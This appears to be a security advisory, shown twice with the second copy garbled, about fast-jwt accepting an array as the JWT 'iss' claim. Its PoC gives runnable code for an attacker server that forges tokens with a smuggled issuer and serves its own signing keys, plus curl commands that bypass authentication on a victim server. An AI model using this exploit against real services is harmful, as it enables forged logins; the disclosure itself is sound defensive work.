Summary
The fast-jwt library does not properly validate the iss claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
Details
The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.
Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks.
PoC
Take a server running the following code:
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://valid-iss',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create token
app.post('/create-token', (req, res) => {
const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
alg: 'RS256',
use: 'sig',
}]
});
})
app.all('*', (req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"Impact
Applications relaying on the validation of the iss claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.
Solution
Change
|
validators.push({ type: 'string', claim: 'iss', allowed: ensureStringClaimMatcher(allowedIss) }) |
to a validator tha accepts only string for the value as stated in the RFC
https://datatracker.ietf.org/doc/html/rfc7519#page-9.
Summary
The
fast-jwtlibrary does not properly validate theissclaim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.Details
The
iss(issuer) claim validation within the fast-jwt library permits an array of strings as a validissvalue. This design flaw enables a potential attack where a malicious actor crafts a JWT with anissclaim structured as['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.Furthermore, if the application relies on external libraries like
get-jwksthat do not independently validate theissclaim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into theissarray, alongside the legitimate issuer, and bypass the intended security checks.PoC
Take a server running the following code:
Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:
Impact
Applications relaying on the validation of the
issclaim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.Solution
Change
fast-jwt/src/verifier.js
Line 475 in d2b0ccb